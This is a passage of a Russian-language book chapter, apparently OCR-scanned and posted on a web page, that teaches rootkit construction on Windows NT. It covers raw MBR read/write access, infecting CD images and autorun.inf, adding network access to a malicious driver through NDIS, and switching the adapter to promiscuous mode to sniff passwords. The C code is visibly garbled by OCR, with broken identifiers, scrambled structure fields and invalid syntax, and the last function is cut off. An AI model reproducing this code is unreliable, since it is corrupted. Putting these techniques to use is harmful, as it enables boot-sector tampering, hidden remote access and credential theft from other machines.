На главную | Содержание | Назад | Вперёд
Наши друзья

 

 

Низкоуровневый доступ к диску

Еще одной традиционной областью для сохранения вирусов являются блоки загрузочного кода, а также гибкие и жесткие диски. Любопытно, что эти методы работают по сей день, причем достаточно просто получить доступ к блоку загрузочного кода на диске. В следующих примерах программного кода продемонстрирован довольно простой метод для чтения и записи данных в главную загрузочную запись системы под управлением Windows NT.
Операции чтения/записи для главной загрузочной записи (MBR)
Доступ к главной загрузочной записи невозможен без низкоуровневого доступа с правами чтения/записи непосредственно к физическому диску. Воспользовавшись вызовом функции CreateFile и указав имя соответствующего объекта, можно получить доступ к любому диску системы. В следующем коде продемонстрировано, как открыть дескриптор для физического доступа к первому диску в системе, а затем прочесть первые 512 байт информации, хранящейся на этом диске. В этом прочитанном блоке данных хранится содержимое первого сектора диска, который больше известен под названием MBR (главная загрузочная запись).
char mbr_data[512]; DWORD dwBytesRead;
HANDLE hDriver - CreateFile("\\\\.WphysicaldriveO", GENERIC_READ I GENERIC_WRITE, 0ILE_SHARE_READ | FILE_SHARE_WRITE,

OPEN_EXISTING,
О,
О) ;
ReadFile( hDriver, &mbr_data, §12, bdwBytesRead, NULL );
Искажение данных в образах компакт-дисков
В компакт-дисках используется файловая система ISO 9660. Как и гибкие диски, эти диски тоже можно "инфицировать" вирусными программами. Вирус, записанный на загрузочном компакт-диске, будет активироваться при загрузке. Еще одним вариантом атаки является использование файла autorun. inf. Этот файл управляет автоматическим запуском программ при установке компакт-диска. Эта возможность часто устанавливается по умолчанию. И наконец, файлы на компакт-диске можно "заразить" с помощью стандартньгх методов. И нет ничего, что могло бы остановить вирус или набор средств от взлома в лостижении доступа к компакт-диску CD-R и записи информации на записытаемый компакт-диск7.
Добавление кдрайверу возможности доступа по сети
Предоставление возможности доступа по сети к создаваемому хакером "драйверу", в котором содержится набор средств для взлома, можно назвать завершающим, но одним из важнейших действий, которое позволяет удаленно обращаться к вредоносному коду. Можно встроить TCP/IP-стек в драйвер и открыть доступ к удаленному командному интерпретатору. Этой возможностью обладает программа отладки на уровне ядра под названием Softlce. В набор средств для взлома ntroot, который доступен на сайте www.rootkit.com, входит пример программного кода, предоставляющего доступ к командному интерпретатору по TCP/IP. В системе Windows NT не представляет особого труда добавить возможность доступа по сети, воспользовавшись библиотекой NDIS.
Использование библиотеки NDIS
Компания Microsoft разработала библиотеку для обеспечения возможности реализовывать в драйверах устройств собственные стеки, независимые от сетевого адаптера. Мы можем использовать эту библиотеку для создания стека и организации взаимодействия по сети. Это только один из способов, благодаря которым вредоносный драйвер позволяет обеспечить создание интерактивного командного интерпретатора.
На первом этапе использования NDIS необходимо зарегистрировать набор функций обратного вызова. В следующем примере значения ОпХХХ являются указателями к функциям обратного вызова8.

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, Ъ IN PUNICODE_STRING theRegistryPath )
NDIS__PROTOCOL_CHARACTERISTICS UNICODE STRING aDriverName;
aProtocolChar;
// DD
/*
* инициализация сетевого анализатора пак
* процедура, документированная DDK. */
RtlZeroMemory( iaProtocolChar, Ъ sizeof(NDIS_PROTOCOL_CHARACTERISTICS)); aProtocolChar.Maj оrNdisVers ion aProtocolChar.MinorNdisVers ion aProtocolChar.Reserved
aProtocolChar.OpenAdapterCompleteHandler aProtocolChar.CloseAdapterCompleteHandle aProtocolChar.SendCompleteHandler aProtocolChar.TransferDataCompleteHandle aProtocolChar.ResetCompleteHandler aProtocolChar.RequestCompleteHandler aProtocolChar.ReceiveHandler aProtocolChar.ReceiveCompleteHandler aProtocolChar.StatusHandler aProtocolChar. StatusCompleteHandler aProtocolChar.Name
это стандартная
3 О О
OnOpenAdapterDone;
OnCloseAdapterDone;
OnSendDone;
OnTransferDataDone;
OnResetDone;
OnRequestDone;
OnReceiveStub;
OnReceiveDoneStub;
OnStatus;
OnStatusDone;
aProtoName;
DbgPrint("ROOTKIT: Регистрация NDIS протокола\п");
NdisRegisterProtocol( iaStatus,
SaNdisProtocolHandle, SaProtocolChar, sizeof(NDIS_PROTOCOL_CHARACTERISTICS));
if (aStatus != NDIS_STATUS_SUCCESS) (
DbgPrint(("DriverEntry: ERROR NdisRegisterProtocol failed\n return aStatus;
aDriverName.Length = 0;
aDriverName.Buffer = ExAllocatePool ( PagedPool, MAX_PATH_LENGTH
aDriverName.MaximumLength = MAX_PATH_LENGTH; RtlZeroMemory(aDriverName.Buffer, MAX_PATH_LENGTH);
/* _
k получаем имя драйвера МАС-уровня
* и имя драйвера пакетов
* HKLM/SYSTEM/CurrentControlSet/Services/TcpIp/Linkage
if (ReadRegistry( SaDriverName ) != STATUS_SUCCESS) ( goto RegistryError;
}
NdisOpenAdapterI
SaStatus,
SaErrorStatus,
ianOpenP->AdapterHandle,
SaDeviceExtension->Medium,
saMediumArray,
1,
aDeviceExtens ion->NdisProtocolHandle, anOpenP,
&aDeviceExtension->AdapterName,

376
Глава 8
о,
NULL);
if (aStatus С— lNDffiS_£TATTOS_IHENDING)
{
OnOpenAdapterDone( anOpenP, aStatus,
NDIS_STATUS_SUCCESS ) ;
}
Первый вызов выполняется к функции NdisRegisterProtocol, с помощью которой осуществляется регистрация наших функций обратного вызова. Вторым вызовом является вызов функции ReadRegistry (объяснение будет дано позже), благодаря чему мы узнаем имя для привязки сетевого адаптера. Эта информация используется для инициализации расширенной структуры устройства, которая затем используется в вызове функции NdisOpenAdapter. При успешном завершении вызова функции мы должны вручную вызвать функцию OnOpenAdapterDone. Возвращение этой функцией значения NDIS_STATUS_PENDING свидетельствует о том, что операционная система выполняет вызов функции OnOpenAdapterDone от нашего имени.
Перевод интерфейса в неразборчивый режим
Когда сетевой адаптер работает в неразборчивом режиме, он перехватывает все пакеты, которые физически доставляются на интерфейс независимо от адреса получателя. Это удобно, когда хакер хочет просматривать пакеты, которые передаются на другие компьютеры локальной сети. Мы переводим сетевой адаптер в неразборчивый режим, что позволяет нам перехватывать пароли и другую служебную информацию, передаваемую по сети. Для этой цели используется функция OnOpenAdapterDone. Для перевода сетевого интерфейса в неразборчивый режим мы используем функцию NdisRequest.
VOID
OnOpenAdapterDone (
{
PIRP
POPEN_INSTANCE NDIS_REQUEST BOOLEAN ULONG
IN NDIS_HANDLE ProtocolBindingContext, IN NDIS_STATUS Status, IN NDIS_STATUS OpenErrorStatus )
Irp = NULL; Open = NULL; anNdisRequest; anotherStatus;
aMode = NDIS PACKET TYPE PROMISCUOUS;
DbgPrint("ROOTKIT: вызывается OnOpenAdapterDone\n")
/* устанавливаем сетевой адаптер if(gOpenlnstance){ //
неразборчивый режим */
// Инициализируем событие
//
NdisInitializeEvent (&gOpenInstance->Event); anNdisRequest.RequestType = NdisRequestSetlnformation;

 

На главную | Содержание | Назад | Вперёд
 
Яндекс.Метрика